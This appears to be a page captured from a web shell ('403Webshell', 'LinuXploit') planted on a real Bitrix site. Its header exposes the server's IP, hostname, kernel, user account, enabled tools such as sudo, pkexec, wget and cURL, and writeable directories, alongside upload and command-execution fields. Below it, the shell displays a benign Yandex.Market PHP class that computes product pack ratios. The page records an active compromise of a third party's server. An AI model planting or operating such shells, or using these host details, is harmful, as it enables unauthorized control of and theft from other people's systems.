403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/trading/entity/common/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/trading/entity/common/pack.php
<?php
namespace Yandex\Market\Trading\Entity\Common;

use Yandex\Market;

class Pack extends Market\Trading\Entity\Reference\Pack
{
	protected $formatType;

	public function getRatio($productIds, array $context = [])
	{
		if (empty($context['SOURCES'])) { return []; }

		$fixedRatio = $this->fixedRatio($context);

		if ($fixedRatio !== null)
		{
			return array_fill_keys($productIds, $fixedRatio);
		}

		$exportContext = $this->buildExportContext($context);
		$sourceSelect = $this->buildExportSelect($context);

		$exportValues = Market\Export\Entity\Facade::loadValues($productIds, $sourceSelect, $exportContext);

		return $this->collectRatioValues($exportValues, $context);
	}

	protected function fixedRatio(array $context)
	{
		foreach ($context['SOURCES'] as list($source, $field))
		{
			if ($source !== Market\Export\Entity\Manager::TYPE_TEXT) { continue; }

			$ratio = (float)$field;

			if ($ratio > 0)
			{
				return $ratio;
			}
		}

		return null;
	}

	protected function buildExportSelect(array $context)
	{
		$result = [];

		foreach ($context['SOURCES'] as list($source, $field))
		{
			if (!isset($result[$source]))
			{
				$result[$source] = [];
			}

			$result[$source][] = $field;
		}

		return $result;
	}

	protected function buildExportContext(array $context)
	{
		return array_intersect_key($context, [
			'SITE_ID' => true,
		]);
	}

	protected function collectRatioValues(array $allValues, array $context)
	{
		$result = [];

		foreach ($allValues as $productId => $oneValues)
		{
			foreach ($context['SOURCES'] as list($source, $field))
			{
				if (!isset($oneValues[$source][$field])) { continue; }

				$value = $this->sanitizeRatioValue($oneValues[$source][$field]);

				if ($value === null || $value <= 0) { continue; }

				$result[$productId] = $value;
			}
		}

		return $result;
	}

	protected function sanitizeRatioValue($value)
	{
		if (is_array($value))
		{
			$value = reset($value);
		}

		if (empty($value)) { return null; }

		$value = $this->getFormatType()->sanitize($value);

		if ($value === null || $value instanceof Market\Error\Base) { return null; }

		return (float)$value;
	}

	protected function getFormatType()
	{
		if ($this->formatType === null)
		{
			$this->formatType = new Market\Type\NumberType([
				'value_precision' => 4,
                'value_positive' => true,
			]);
		}

		return $this->formatType;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit